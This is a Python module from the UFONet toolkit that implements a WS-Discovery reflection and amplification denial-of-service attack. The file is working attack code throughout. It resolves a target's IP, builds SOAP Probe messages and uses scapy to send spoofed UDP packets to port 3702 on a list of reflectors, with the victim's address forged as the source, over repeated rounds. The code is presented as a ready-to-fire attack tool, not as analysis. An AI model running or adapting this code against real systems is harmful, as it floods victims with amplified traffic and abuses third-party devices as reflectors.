wsdisco.py 3.8 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket, uuid
  11. from urllib.parse import urlparse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. wsdisco_file = "botnet/wsdisco.txt"
  21. # UFONet WS-Discovery Amplification (SONAR) - amp factor ~10x (SOAP Probe)
  22. def sonarize(ip, rounds):
  23. n=0
  24. try:
  25. from core._botnet import load_botnet_file, warn_placeholders
  26. reflectors, _empty, _all_placeholder = load_botnet_file(wsdisco_file)
  27. if _empty:
  28. print("[Error] [AI] [SONAR] botnet/wsdisco.txt is empty -> [Aborting!]")
  29. return
  30. if _all_placeholder:
  31. warn_placeholders("SONAR", wsdisco_file, kind="wsdisco")
  32. return
  33. for x in range(int(rounds)):
  34. n += 1
  35. print("[Info] [AI] [SONAR] Pinging 'sonar' ["+str(n)+"] through the deep! -> [SLOWING!]")
  36. for r in reflectors:
  37. try:
  38. msg_id = str(uuid.uuid4())
  39. soap = (
  40. '<?xml version="1.0" encoding="utf-8"?>'
  41. '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" '
  42. 'xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" '
  43. 'xmlns:wsd="http://schemas.xmlsoap.org/ws/2005/04/discovery">'
  44. '<soap:Header>'
  45. '<wsa:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</wsa:To>'
  46. '<wsa:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action>'
  47. '<wsa:MessageID>urn:uuid:' + msg_id + '</wsa:MessageID>'
  48. '</soap:Header>'
  49. '<soap:Body><wsd:Probe/></soap:Body>'
  50. '</soap:Envelope>'
  51. ).encode('utf-8')
  52. sport = random.randint(2000, 65535)
  53. packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=3702) / Raw(load=soap)
  54. send(packet, verbose=0)
  55. print("[Info] [AI] [SONAR] Pinged 'sonar' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
  56. except:
  57. print("[Info] [AI] [SONAR] Pinged 'sonar' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
  58. except:
  59. print("[Error] [AI] [SONAR] Failing to engage... -> Is still target online? -> [Checking!]")
  60. class WSDISCO(object):
  61. def attacking(self, target, rounds):
  62. print("[Info] [AI] WS-Discovery Amplification (SONAR) is ready to fire: [", rounds, "sonars ]")
  63. if target.startswith('http://'):
  64. target = target.replace('http://','')
  65. elif target.startswith('https://'):
  66. target = target.replace('https://','')
  67. try:
  68. ip = socket.gethostbyname(target)
  69. except:
  70. try:
  71. import dns.resolver
  72. r = dns.resolver.Resolver()
  73. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  74. url = urlparse(target)
  75. a = r.resolve(url.netloc, "A")
  76. for rd in a:
  77. ip = str(rd)
  78. except:
  79. ip = target
  80. if ip == "127.0.0.1" or ip == "localhost":
  81. print("[Info] [AI] [SONAR] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  82. return
  83. sonarize(ip, rounds)